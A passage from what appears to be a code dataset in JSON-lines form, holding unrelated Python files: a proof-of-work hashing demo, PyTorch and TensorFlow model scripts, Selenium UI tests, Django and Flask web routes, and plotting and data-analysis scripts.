2 ** (256 - difficulty_bits)\n start_time = time.time()\n nonce = mine(header, target, previous_nonce)\n elapsed_time = time.time() - start_time\n minutes = elapsed_time // 60\n seconds = elapsed_time - (minutes * 60) // 1 \n proof = get_proof(header, nonce)\n\n target_str = f'{target:.0e}'\n elapsed_time_str = f'{elapsed_time:.0e}' if nonce != previous_nonce else ''\n bin_proof_str = f'{proof:0256b}'[:50]\n\n # print(f'bits: {difficulty_bits}, target: {target_str}, elapsed time: {int(minutes):02d}:{int(seconds):02d}, nonce: {nonce}, proof: {proof}')\n print(f'bits: {difficulty_bits:>3}, target: {target_str:>7}, elapsed time: {elapsed_time_str:>7}, nonce: {nonce:>10}, proof: {bin_proof_str}...')\n \n previous_nonce = nonce\nif __name__ == \"__main__\":\n header = \"hello\"\n # number of leading zeros we require\n # difficulty_bits = 25\n # target = 2 ** (256 - difficulty_bits)\n # nonce = mine(header, target)\n # print(nonce)\n # print(f'4 bits of proof? {str(proof < target):5} : {proof:#066x}')\n mining_demo(header)\n","sub_path":"powcoin/my_mining_demo.py","file_name":"my_mining_demo.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"538109229","text":"from metalearn import Metafeatures\nfrom DataExtraction import DataSetExtraction as DSE\nfrom DataExplorationMethods import information_theoretic_metafeatures_separate as ITM, common_operations as CO\nimport pandas as pd\nimport numpy as np\nimport os\nimport json\n\nX, y, features = DSE.import_example_data('Hepatitis')\n\nmissing_values = ''\n\ndfX = pd.DataFrame(X, columns=features)\n\ndfX = dfX.replace(missing_values, np.NaN)\n\ntype = {}\nfor header in list(dfX):\n X_f = dfX[header].values\n cleaned_X_f = np.delete(X_f, np.argwhere(X_f == missing_values))\n try:\n cleaned_X_f.astype(float)\n type[header] = 'NUMERICAL'\n dfX[header] = pd.to_numeric(dfX[header], errors='coerce')\n except:\n type[header] = \"CATEGORICAL\"\n dfX[header] = dfX[header].astype('category')\n\n#dfX = dfX.apply(pd.Categorical, errors='ignore')\n\ndfy = pd.Series(y, dtype='category')\ndfy.name = \"Output\"\n\nmf = Metafeatures()\n\nnoNaN_cat_feat, = mf._get_categorical_features_with_no_missing_values(dfX, column_types=type)\n\nentropies = ITM.get_separate_attribute_entropy(noNaN_cat_feat)\nbest_worst_entropies, locations = CO.return_most_important_attribute_entropies(entropies, return_end='Both', return_number=3)\nprint(best_worst_entropies)\nprint(locations)","sub_path":"Testing/DataExploration/TestAdditionalMethods.py","file_name":"TestAdditionalMethods.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115924442","text":"#!/usr/bin/env python\n# -*- encoding: utf-8\n\nimport datetime as dt\nimport json\nfrom urllib.parse import urlparse, urlencode, urlunparse\n\n\naction_steps = [\n {\n 'actionStepType': 'Script',\n 'scriptText': open('prepare_entry.js').read(),\n },\n {\n 'fileTemplate': '[[draft]]',\n 'fileExtTemplate': 'json',\n 'fileNameTemplate': '[[uuid]]',\n 'folderTemplate': '/spending/[[date|%Y]]/[[date|%m]]/[[date|%d]]',\n 'writeType': 'create',\n 'actionStepType': 'Dropbox',\n },\n]\n\n\nparts = [\n 'x-drafts4',\n 'x-callback-url',\n '/import_action',\n\n # params\n '',\n\n urlencode({\n 'actionSteps': [json.dumps(action_steps)],\n 'shouldConfirm': ['0'],\n 'uuid': ['5F62BCA9-A01D-4804-82D3-2DF126ACED8E'],\n 'logLevel': ['1'],\n 'name': ['Record spending'],\n 'tintColor': [\n json.dumps([0.27500000596046448, 0.75700002908706665, 0.21600000560283661])\n ],\n 'modifiedAt': [dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S +0000')],\n 'disposition': ['2'],\n 'v': ['2'],\n 'iconImageName': ['454-pounds2'],\n 'description': ['Take a spending entry, convert it into a JSON file, and save it to Dropbox.']\n }),\n\n # fragment\n '',\n]\n\nprint(urlunparse(parts))\n","sub_path":"spending-tracker/create_callback_url.py","file_name":"create_callback_url.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231209263","text":"\n\n\"\"\"\n A simple script to train a small lstm network on memory addresses but performs regression instead of\n classification.\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import division\nimport torch\nimport torch.nn as nn\nimport torch.optim as optimizers\nimport torch.nn.functional as F\nimport os\nimport pickle\nimport itertools\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import*\nfrom sklearn import preprocessing\n\n\nclass NN(nn.Module):\n \"\"\"\n Our class defines MLP and LSTM models to test our data learning\n \"\"\"\n def __init__(self, input_dims):\n super(NN, self).__init__()\n self.input_dims = input_dims\n # define MLP\n size = 8\n self.MLP = nn.Sequential(\n nn.Linear(input_dims, size),\n nn.Softmax(),\n nn.Linear(size, size),\n nn.Softmax(),\n nn.Linear(size, size),\n nn.Softmax(),\n # nn.Linear(size, size),\n nn.Sigmoid(),\n nn.Linear(size, 1)\n # nn.LogSoftmax()\n )\n\n class LSTM(nn.Module):\n \"\"\"\n This is our lstm class\n \"\"\"\n def __init__(self, input_size, seq_length, hidden_size):\n super(LSTM, self).__init__()\n self.sequence_len = seq_length\n self.hidden_size = hidden_size\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers=1, batch_first=True)\n self.fc_1 = nn.Linear(hidden_size, 8)\n self.fc_2 = nn.Linear(8, 1)\n\n def forward(self, input):\n # input = input.view(input.size()[0], 1, -1)\n h0 = torch.zeros(1, input.size()[0], self.hidden_size) # (num_of_lstm_layers, batch_size, input_size)\n c0 = torch.zeros(1, input.size()[0], self.hidden_size)\n output, hidden = self.lstm(input, (h0, c0))\n output = self.fc_2(F.relu(self.fc_1(output))).view(-1, 1)\n return output\n\n # instantiate lstm model with one layer of 8 hidden units\n self.my_lstm = LSTM(input_size=3, seq_length=1, hidden_size=8)\n\n\n def train_net(self, model, train_data, train_labels,\n test_data, test_labels, epochs,\n batch_size, learn_rate):\n # set it in training mode, and do some data conversion for pytorch\n self.train()\n train_data = torch.Tensor(train_data).float()\n train_labels = torch.Tensor(train_labels).float()\n optimizer = optimizers.Adam(self.parameters(), lr=learn_rate)\n criterion = nn.MSELoss()\n # training loop for #N epochs\n for e in range(1, epochs+1):\n epoch_loss = 0.0\n epoch_acc = 0.0\n for i in range(train_data.size()[0]//batch_size):\n # pick random *batch_size* # of examples to train on...\n indices = np.random.choice(train_data.size()[0], batch_size, replace=False)\n batch_data = train_data[indices,:]\n batch_labels = train_labels[indices]\n # print(batch_data.size())\n output = model(batch_data)*1000000\n batch_labels = batch_labels*1000000\n # print(output[90].int(), batch_labels[90].int())\n # prediction = output.long() #output.max(dim=1, keepdim=True)[1]\n epoch_acc += (batch_labels.int() == output.int()).sum().item()\n loss = criterion(output, batch_labels)\n epoch_loss += loss.item()\n loss.backward()\n optimizer.step()\n\n # zero out the gradients saved previously\n optimizer.zero_grad()\n self.zero_grad()\n print('epoch ({}/{}), batch_loss = {:.2f}, batch_acc = {:.2f}%'.format(e, epochs,\n epoch_loss/train_data.size()[0],\n epoch_acc*100.0/train_data.size()[0]))\n # print('log: saving model now...')\n # torch.save(self.state_dict(), 'models/model-{}.ckpt'.format(e))\n print('\\n testing now... \\n')\n return self.test_model(model=model, test_examples=test_data, labels=test_labels)\n\n def test_model(self, model, test_examples, labels):\n # check performance on test set\n self.eval() # set in eval mode\n test_examples = torch.Tensor(test_examples).float()\n labels = torch.Tensor(labels).float()\n print('testing on {} examples...'.format(test_examples.size()[0]))\n output = model(test_examples)\n # prediction = output.max(dim=1, keepdim=True)[1]\n # accurate = prediction.eq(labels.view_as(prediction)).sum().item()\n accurate = (labels.int().float() == output.float()).sum().item()\n print('Total test accuracy = {:.2f}%'.format(accurate*100/(test_examples.size()[0])))\n return output\n\n\ndef plot_confusion_matrix(cm, classes, normalize=False, title='Confusion matrix', cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n print(cm)\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n return plt\n\n\ndef label_to_idx(labels):\n pass\n\n\ndef main():\n # load data files\n data_dir = 'dataset_regressionlstm'\n train_data_file = open(os.path.join(data_dir, 'train_delayValues_data.pkl'), 'rb')\n train_labels_file = open(os.path.join(data_dir, 'train_delayValues_label.pkl'), 'rb')\n train_data = np.asarray(pickle.load(train_data_file))\n train_labels = np.asarray(pickle.load(train_labels_file)) #/ 1000000.0\n test_data_file = open(os.path.join(data_dir, 'test_delayValues_data.pkl'), 'rb')\n test_labels_file = open(os.path.join(data_dir, 'test_delayValues_label.pkl'), 'rb')\n test_data = np.asarray(pickle.load(test_data_file))\n test_labels = np.asarray(pickle.load(test_labels_file)) #/ 10000000.0\n\n # preprocess them for easing the training...\n # train_data = preprocessing.scale(train_data)\n # test_data = preprocessing.scale(test_data)\n # train_labels = preprocessing.scale(train_labels)\n # test_labels = preprocessing.scale(test_labels)\n # print(train_labels)\n\n train_data_for_lstm = train_data.reshape((-1, 1, 3))\n test_data_for_lstm = test_data.reshape((-1, 1, 3))\n\n # reshape for one column\n train_labels = np.reshape(train_labels, newshape=(len(train_labels), 1))\n test_labels = np.reshape(test_labels, newshape=(len(test_labels), 1))\n\n print('3d training data, 1d labels: ', train_data.shape, train_labels.shape)\n print('3d test data, 1d labels: ', test_data.shape, test_labels.shape)\n\n # create model and train\n net = NN(input_dims=3)\n\n ###############################################################################################3\n # the first two lines are mlp implementation, the next two run the lstm\n # test mlp\n predictions = net.train_net(net.MLP, train_data, train_labels, test_data, test_labels,\n epochs=10000, batch_size=1024, learn_rate=0.001)\n\n # test lstm\n # predictions = net.train_net(net.my_lstm, train_data_for_lstm, train_labels, test_data_for_lstm,\n # test_labels, epochs=50, batch_size=1024, learn_rate=0.1)\n # print(predictions)\n ##############################################################################################3\n\n # conf_matrix = confusion_matrix(test_labels, predictions)\n # classes = ['page_hit', \"page_miss\"]\n # plot_confusion_matrix(conf_matrix, classes, normalize=True)\n # plt.title('Confusion Matrix')\n # plt.show()\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"pytorch/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":8600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"563665695","text":"#coding:utf-8\nimport unittest\nfrom config.config import config\nfrom time import sleep\nfrom case.public.invoiceState import invoiceState\nfrom case.public.oprateTime import oprationTime\nfrom case.public.pageDisplay import pageDisplay\nfrom case.public.numberDisplay import numberDisplay\n\ndriver = config.driver\nclass incomeRechord(unittest.TestCase):\n\n def setUp(self):\n sleep(1)\n\n def tearDown(self):\n sleep(1)\n\n def test026_incomeRecord(self):\n u\"\"\"收入记录\"\"\"\n driver.find_element_by_link_text(u\"收入记录\").click()\n sleep(5)\n\n def test027_cardID(self):\n u\"\"\"按卡号查询\"\"\"\n driver.find_element_by_id(\"cardCode\").send_keys(\"200100008896\")\n sleep(1)\n driver.find_elements_by_class_name(\"button\")[1].click()\n sleep(5)\n driver.find_element_by_id(\"cardCode\").clear()\n sleep(1)\n driver.find_elements_by_class_name(\"button\")[1].click()\n sleep(5)\n\n def test028_identificationNu(self):\n u\"\"\"纳税人识别号\"\"\"\n driver.find_element_by_id(\"taxpayerIdentificationNumber\").send_keys(\"911101083180097938\")\n sleep(1)\n driver.find_elements_by_class_name(\"button\")[1].click()\n sleep(5)\n driver.find_element_by_id(\"taxpayerIdentificationNumber\").clear()\n sleep(1)\n driver.find_elements_by_class_name(\"button\")[1].click()\n sleep(5)\n\n def test029_invoiceState(self):\n u\"\"\"按发票状态查询\"\"\"\n iv = invoiceState()\n iv.invoiceState()\n\n def test030_operateTime(self):\n u\"\"\"按操作时间查询\"\"\"\n op = oprationTime()\n op.oprationTime()\n\n def test031_pageDisplay(self):\n u\"\"\"翻页检查\"\"\"\n pd = pageDisplay()\n pd.pageDisplay()\n\n def test032_numDisplay(self):\n u\"\"\"每页显示条数\"\"\"\n nd = numberDisplay()\n nd.numberDisplay()\n num = driver.find_element_by_partial_link_text(\"10\").text\n print(num)\n text = \"10\"\n if num==text:\n pass\n else:\n print(u\"每页显示10条出现异常\")\n self.assertFalse(text)\n\n\nif __name__ == '__main__':\n unittest.main","sub_path":"case/3business_record/test06_incomeRecord.py","file_name":"test06_incomeRecord.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"312916602","text":"#!/usr/bin/python\nprint(\"Ingrese un numero\")\nfactorial=1\nsumatoria=0\nnumero=int(input())\nwhile numero < 0:\n\tprint(\"Ingrese un numero positivo\")\n\tnumero=int(input())\nprint(\"1.Sumatoria\\n2.Factorial\\nIngrese Opcion: \")\nopcion=int(input())\nif opcion == 1:\n\tfor i in range(numero+1):\n\t\tsumatoria+=i;\n\tprint(\"La sumatoria de \"+str(numero)+\"es \"+str(sumatoria))\nelif opcion == 2:\n\t\tfor i in range(1,numero+1):\n\t\t\tfactorial=factorial*i\n\t\tprint(\"El factorial de \"+str(numero)+\"es \"+str(factorial))","sub_path":"Clase 01/Programa07.py","file_name":"Programa07.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"77556547","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\n\"\"\"\n *.py: Description of what * does.\n Last Modified:\n\"\"\"\n\n__author__ = \"Sathappan Muthiah\"\n__email__ = \"sathap1@vt.edu\"\n__version__ = \"0.0.1\"\n\nimport tensorflow as tf\nfrom collections import deque\nimport logging\nimport sys\nsys.path.append('../')\nimport ipdb\nfrom utils import variable_summaries\n\nlog = logging.getLogger('RNNDecoder')\n\n\nclass GORNNDecoder(object):\n BIOLOGICAL_PROCESS = 'GO:0008150'\n MOLECULAR_FUNCTION = 'GO:0003674'\n CELLULAR_COMPONENT = 'GO:0005575'\n FUNC_DICT = {'cc': CELLULAR_COMPONENT,\n 'mf': MOLECULAR_FUNCTION,\n 'bp': BIOLOGICAL_PROCESS}\n\n def __init__(self, inputlayer, labelembedding, num_negatives=10,\n learning_rate=0.001,\n lstm_statesize=256, numfuncs=5):\n self.inputs = inputlayer\n self.learning_rate = learning_rate\n self.num_neg_samples = num_negatives\n self.label_dimensions = labelembedding.shape[1]\n self.lstm_statesize = lstm_statesize\n self.labelembedding = labelembedding\n self.numfuncs = numfuncs\n # self.GO_MAT = GO_MAT\n\n def init_variables(self):\n # First 5 leaf GO nodes for a given sequence is only used.\n # size of ys_ is (batchsize x 5)\n self.ys_ = tf.placeholder(shape=[None, self.numfuncs],\n dtype=tf.int32, name='y_out')\n\n # this represents the label embedding, size (GO nodes x labelembeddingsize)\n self.labelemb = tf.get_variable('labelemb', initializer=self.labelembedding, dtype=tf.float32,\n trainable=False)\n\n # self.threshold = tf.placeholder(shape=(1,), dtype=tf.float32, name='thres')\n\n # the negative samples to be used, size (batchsize x number of negatives)\n self.negsamples = tf.placeholder(shape=[None, self.num_neg_samples], dtype=tf.int32, name='negsamples')\n self.lstmcell = tf.contrib.rnn.BasicLSTMCell(self.lstm_statesize, activation=tf.nn.elu)\n # name='lstmcell')\n\n self.output_weights = tf.get_variable('rnn_outputW', shape=[self.lstm_statesize, self.label_dimensions])\n self.output_bias = tf.get_variable('rnnout_bias', shape=[self.label_dimensions])\n self.ytransform = tf.get_variable('ytransform', shape=[self.label_dimensions, self.label_dimensions],\n initializer=tf.initializers.identity)\n\n def build(self):\n self.init_variables()\n\n ## batchsize x 5 x labelemb\n self.yemb = tf.nn.embedding_lookup(self.labelemb, self.ys_, name='yemb')\n\n ## batchsize x 10 x labelemb\n self.negemb = tf.nn.embedding_lookup(self.labelemb, self.negsamples, name='negemb')\n # rnnin = [tf.zeros(shape=(tf.shape(yemb)[0], 1)) for i in range(5)]\n log.info('input label embedding-{}'.format(self.yemb.get_shape()))\n log.info('negative sample embedding-{}'.format(self.negemb.get_shape()))\n\n rnnin = [self.inputs for i in range(self.numfuncs)]\n rnnout, rnn_final_states = tf.nn.static_rnn(self.lstmcell,\n rnnin, dtype=tf.float32)\n #initial_state=self.inputs\n #)\n # log.info('rnnout shape {}'.format(rnnout.get_shape()))\n rflat = tf.reshape(rnnout, shape=[-1, self.lstm_statesize])\n\n # batchsize*5 x labeldim\n self.output = tf.nn.l2_normalize(tf.nn.softplus(tf.matmul(rflat,\n self.output_weights)\n + self.output_bias,\n name='yhat'),\n axis=1)\n\n log.info('final decoder out shape {}'.format(self.output.get_shape()))\n # ipdb.set_trace()\n self.transformed_y = tf.nn.l2_normalize(tf.matmul(tf.reshape(self.yemb, shape=[-1, self.label_dimensions]),\n self.ytransform),\n axis=1)\n\n variable_summaries(self.transformed_y)\n # batch size*10 x labeldim\n self.transformed_negsamples = tf.nn.l2_normalize(tf.matmul(tf.reshape(self.negemb,\n shape=[-1, self.label_dimensions]),\n self.ytransform),\n axis=1)\n\n variable_summaries(self.ytransform)\n # batchsize *5 x 1\n self.cosinesim_pos = tf.reduce_sum(tf.multiply(self.output, self.transformed_y), axis=1)\n\n # batchsize *5 x batchsize*10\n self.cosinesim_neg = tf.matmul(self.output, tf.transpose(self.transformed_negsamples))\n\n # batchsize *5 x 1\n self.min_neg_dist = tf.reduce_min(self.cosinesim_neg, axis=1)\n\n self.loss = tf.reduce_mean(tf.exp(self.cosinesim_pos, name='posdist') /\n (tf.exp(self.min_neg_dist, name='negdist') + tf.constant(1e-3)),\n name='loss')\n\n tf.summary.scalar('loss', self.loss)\n self.optimizer = tf.train.AdamOptimizer(learning_rate=self.learning_rate)\n self.train = self.optimizer.minimize(self.loss)\n\n self.summary = tf.summary.merge_all()\n # self.predictions, self.precision, self.recall, self.f1 = self.make_prediction()\n self.predictions = self.make_prediction()\n return self\n\n def make_prediction(self):\n # make unit-vectors, size (GO nodes x embeddingsize)\n norm_labelemb = tf.nn.l2_normalize(tf.matmul(self.labelemb, self.ytransform), axis=1, name='labelnorm')\n\n # get cosine similarity, size (batchsize*5 x GO nodes)\n distmat = tf.matmul(self.output, tf.transpose(norm_labelemb), name='pred_dist')\n\n # boolean matrix of size batchsize x GOlen\n pred_labels = tf.reshape(tf.argmin(distmat, axis=1), shape=[-1, self.numfuncs])\n\n #truelabels\n # true_labels = GODAG.vfunc(tf.reshape(self.ys_, ))\n # precision, recall, f1 = calc_performance_metrics(pred_labels, true_labels, threshold=0.2)\n return pred_labels\n\n\n\n","sub_path":"src/models/rnndecoder.py","file_name":"rnndecoder.py","file_ext":"py","file_size_in_byte":6398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"468109139","text":"from django.urls import path\nfrom rest_framework import permissions\nfrom rest_framework.routers import SimpleRouter\nfrom .views import (\n GlobalStats,\n MonitorViewSet,\n StatusView,\n CurrentStatusView,\n RefreshAll,\n UptimeView,\n GlobalStats,\n)\n\nrouter = SimpleRouter()\nrouter.register(\"monitors\", MonitorViewSet, basename=\"monitors\")\n\nurlpatterns = [\n path(\"status/\", StatusView.as_view(), name=\"status\"),\n path(\"currentstatus/\", CurrentStatusView.as_view(), name=\"currentstatus\"),\n path(\"refreshall/\", RefreshAll.as_view(), name=\"refreshall\"),\n path(\"uptime/\", UptimeView.as_view(), name=\"uptime\"),\n path(\"globalstats/\", GlobalStats.as_view(), name=\"globalstats\"),\n]\n\nurlpatterns += router.urls\n","sub_path":"server/monitor/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"569652649","text":"#!/usr/bin/env python\n\nfrom google.appengine.api import users\nfrom google.appengine.ext import db\nimport webapp2\n\nfrom membership import Membership\n\nclass BillingHandler(webapp2.RequestHandler):\n def get(self):\n user = users.get_current_user()\n member = Membership.get_by_username(user.nickname())\n if not member:\n # User is not (yet) a member.\n self.redirect(\"http://signup.hackerdojo.com\")\n else:\n # Open billing information.\n url = member.spreedly_url()\n self.redirect(url)\n\napp = webapp2.WSGIApplication([\n (\"/my_billing\", BillingHandler),\n ], debug = True)\n","sub_path":"billing.py","file_name":"billing.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"131975904","text":"from flask import request, Flask, jsonify\nfrom flask_pymongo import PyMongo\nfrom bson.json_util import dumps\nfrom datetime import datetime\nimport json\n\napp1 = Flask(__name__)\n\napp1.config['MONGO_DBNAME'] = 'cadenas'\napp1.config['MONGO_URI'] = 'mongodb://mongo:27017/cadenas'\nmongo = PyMongo(app1)\n\n@app1.route('/')\ndef index():\n try:\n args = request.args\n cadena_param = args['cadena']\n except:\n cadena_param = 'Sin Cadena'\n ip = request.remote_addr\n now = datetime.now()\n dt_string = now.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n cadena = mongo.db.cadena\n cadena.insert({'fecha':dt_string, 'cadena':cadena_param, 'ip':ip})\n resultados = cadena.find().sort([('fecha', -1)]).limit(10)\n return jsonify({'Resultado Servicio 1':dumps(resultados)})\n \n\nif __name__ == '__main__':\n app1.run(debug=True, host='0.0.0.0')","sub_path":"app1/app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355986428","text":"#Start with importing all required modules\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import violinplot, boxplot\nimport numpy as np\nfrom statistics import stdev\n\n#Import the dataframes\ndf1 = pd.read_csv('data_holding_file_1.csv', delimiter='\\t')\ndf2 = pd.read_csv('data_holding_file_2.csv', delimiter='\\t')\n\n#Define the columns that we will group by\ndf1_groups_col = 'Stage'\ndf2_groups_col = 'Chemogenetic_State'\n\n#Set the different required parameters\ndf1_stages = df1.Stage.unique()\ndf2_stages = df2.Chemogenetic_State.unique()\ndf1_stages = sorted(df1_stages)\ndf2_stages = sorted(df2_stages)\nfeatures = [x for x in df1.columns if x.startswith('_pf_') and df1[x].dtype != object]\nfeatures = features[:-3]\n\n#Assign all individual columns to a single nested dict, divided either by stage or chemogenetic state\ndf1_vector = {}\ndf2_vector = {}\n\nfor feature in features:\n df1_vector[feature] = {}\n for stage in df1_stages:\n df1_vector[feature][stage] = df1[feature][df1[df1_groups_col] == stage].values\n \nfor feature in features:\n df2_vector[feature] = {}\n for stage in df2_stages:\n df2_vector[feature][stage] = df2[feature][df2[df2_groups_col] == stage].values\n\n#Plot all required values from the data vectors\nfor feature in features:\n print(f\"{feature}:\")\n for stage in df1_stages:\n data = df1_vector[feature][stage]\n print(f\"STAGE:{stage} MEAN = {np.mean(data):.3f} / STD.DEV = {stdev(data):.4f}\")\n print(\"\\n\")\n\nfor feature in features:\n print(f\"{feature}:\")\n for stage in df2_stages:\n data = df2_vector[feature][stage]\n print(f\"STATE:{stage} MEAN = {np.mean(data):.3f} / STD.DEV = {stdev(data):.4f}\")\n print(\"\\n\")\n\n#Define plotting parameters\nletters = ['A', 'B', 'C','D', 'E', 'F','G', 'H', 'I']\n\nylabels = {}\nlabels = ['ΔÛ(l)', 'ΔÛ(r)', 'ΔÛ(m)', 'ΔÛ(z)', 'Û^2(z)', 'Û^2(min)', 'Fi(l)/s', 'Fi(r)/s', 'seconds']\nfor ii, feature in enumerate(features):\n ylabels[feature] = labels[ii]\n\n#Plot all data by putting a matplotlib boxplot over a matplotlib violinplot\nflierprops = dict(marker='.', markerfacecolor='black', markersize=5,\n linestyle='none')\n\nfig, axs = plt.subplots(3,3, figsize = (14,12))\n\nfig.subplots_adjust(left=0.25, wspace=0.3, hspace=0.3)\n\nfor key,ax,letter in zip(df1_vector, axs.reshape(-1), letters):\n ax.violinplot(df1_vector[key].values(), showextrema=False)\n b = ax.boxplot(df1_vector[key].values(), notch= True, flierprops=flierprops, showfliers=True)\n ax.set_xticks(range(1,len(df1_stages)+1))\n ax.set_xticklabels(df1_stages)\n ax.set_xlabel('Developmental Stages')\n ax.set_ylabel(ylabels[key])\n ax.set_title(f\"{letter} - {key}\")\n fig.tight_layout()\n\n#Instantly plot the required raw data values which are created by matplotlib \n n_per_stage = df1.groupby('Stage').count()\n \n counts = n_per_stage['ImgUUID']\n m22 = b['medians'][0].get_ydata()\n m23 = b['medians'][1].get_ydata()\n m24 = b['medians'][2].get_ydata()\n m25 = b['medians'][3].get_ydata()\n m26 = b['medians'][4].get_ydata()\n s22 = b['whiskers'][0].get_ydata() \n e22 = b['whiskers'][1].get_ydata()\n s23 = b['whiskers'][2].get_ydata() \n e23 = b['whiskers'][3].get_ydata()\n s24 = b['whiskers'][4].get_ydata()\n e24 = b['whiskers'][5].get_ydata()\n s25 = b['whiskers'][6].get_ydata()\n e25 = b['whiskers'][7].get_ydata()\n s26 = b['whiskers'][8].get_ydata()\n e26 = b['whiskers'][9].get_ydata()\n \n print(f\"{key}-VALUES:\\n STAGE 22: BOTTOM {s22[1]:.4f} / MEDIAN {m22[0]:.4f} / TOPPER {e22[1]:.4f}\\nSTAGE 23: BOTTOM {s23[1]:.4f} / MEDIAN {m23[0]:.4f} / TOPPER {e23[1]:.4f}\\nSTAGE 24: BOTTOM {s24[1]:.4f} / MEDIAN {m24[0]:.4f} / TOPPER {e24[1]:.4f}\\nSTAGE 25: BOTTOM {s25[1]:.4f} / MEDIAN {m25[0]:.4f} / TOPPER {e25[1]:.4f}\\nSTAGE 26: BOTTOM {s26[1]:.4f} / MEDIAN {m26[0]:.4f} / TOPPER {e26[1]:.4f}\\n\")\n# fig.savefig('filename.png')\n\n#Repeat the plotting process for the second dataframe\nflierprops = dict(marker='.', markerfacecolor='black', markersize=5,\n linestyle='none')\n\nfig, axs = plt.subplots(3,3, figsize = (14,12))\n\nfig.subplots_adjust(left=0.25, wspace=0.3, hspace=0.3)\n\nfor key,ax,letter in zip(df2_vector, axs.reshape(-1), letters):\n ax.violinplot(df2_vector[key].values(), showextrema=False)\n b = ax.boxplot(df2_vector[key].values(), notch= True, flierprops=flierprops, showfliers=True)\n ax.set_xticks(range(1,len(df2_stages)+1))\n ax.set_xticklabels(df2_stages)\n ax.set_xlabel('Chemogenetic States')\n ax.set_ylabel(ylabels[key])\n ax.set_title(f\"{letter} - {key}\")\n fig.tight_layout()\n \n n_per_stage = df2.groupby('Chemogenetic_State').count()\n \n counts = n_per_stage['ImgUUID']\n m3 = b['medians'][0].get_ydata()\n m3c = b['medians'][1].get_ydata()\n m4 = b['medians'][2].get_ydata()\n m4c = b['medians'][3].get_ydata()\n s3 = b['whiskers'][0].get_ydata() \n e3 = b['whiskers'][1].get_ydata()\n s3c = b['whiskers'][2].get_ydata() \n e3c = b['whiskers'][3].get_ydata()\n s4 = b['whiskers'][4].get_ydata()\n e4 = b['whiskers'][5].get_ydata()\n s4c = b['whiskers'][6].get_ydata()\n e4c = b['whiskers'][7].get_ydata()\n \n print(f\"{key}-VALUES:\\n HM3D: BOTTOM {s3[1]:.4f} / MEDIAN {m3[0]:.4f} / TOPPER {e3[1]:.4f}\\nHM3D-C: BOTTOM {s3c[1]:.4f} / MEDIAN {m3c[0]:.4f} / TOPPER {e3c[1]:.4f}\\nHM4D: BOTTOM {s4[1]:.4f} / MEDIAN {m4[0]:.4f} / TOPPER {e4[1]:.4f}\\nHM4D-C: BOTTOM {s4c[1]:.4f} / MEDIAN {m4c[0]:.4f} / TOPPER {e4c[1]:.4f}\\n\")\n# fig.savefig('filename.png')\n","sub_path":"ViolinPlotting.py","file_name":"ViolinPlotting.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"642224924","text":"\nimport os\n\nfrom django.views.generic.edit import CreateView, FormView\n\nfrom django.urls import reverse\nfrom common_data.utilities import ContextMixin\nfrom django.views.generic import TemplateView, DetailView\nfrom employees import forms\nfrom employees import models\nfrom django_filters.views import FilterView\nfrom common_data.views import PaginationMixin\nfrom employees.filters import LeaveRequestFilter\nfrom django.db.models import Q\nimport datetime\nfrom django.http import JsonResponse\nfrom employees import serializers\nfrom rest_framework import viewsets\n\n\nclass LeaveCalendarView(TemplateView):\n template_name = os.path.join('employees', 'leave', 'calendar.html')\n\n\nclass LeaveRequestList(ContextMixin,\n PaginationMixin, FilterView):\n filterset_class = LeaveRequestFilter\n queryset = models.Leave.objects.all()\n template_name = os.path.join('employees', 'leave', 'list.html')\n extra_context = {\n 'title': 'List of Vaction Applications',\n 'new_link': '/employees/leave-request'\n }\n\n\nclass LeaveDayRequestView(ContextMixin, CreateView):\n template_name = os.path.join('common_data', 'crispy_create_template.html')\n form_class = forms.LeaveRequestForm\n extra_context = {\n 'title': 'Vacation Application Form',\n 'description': 'Use this form to apply for vacation or 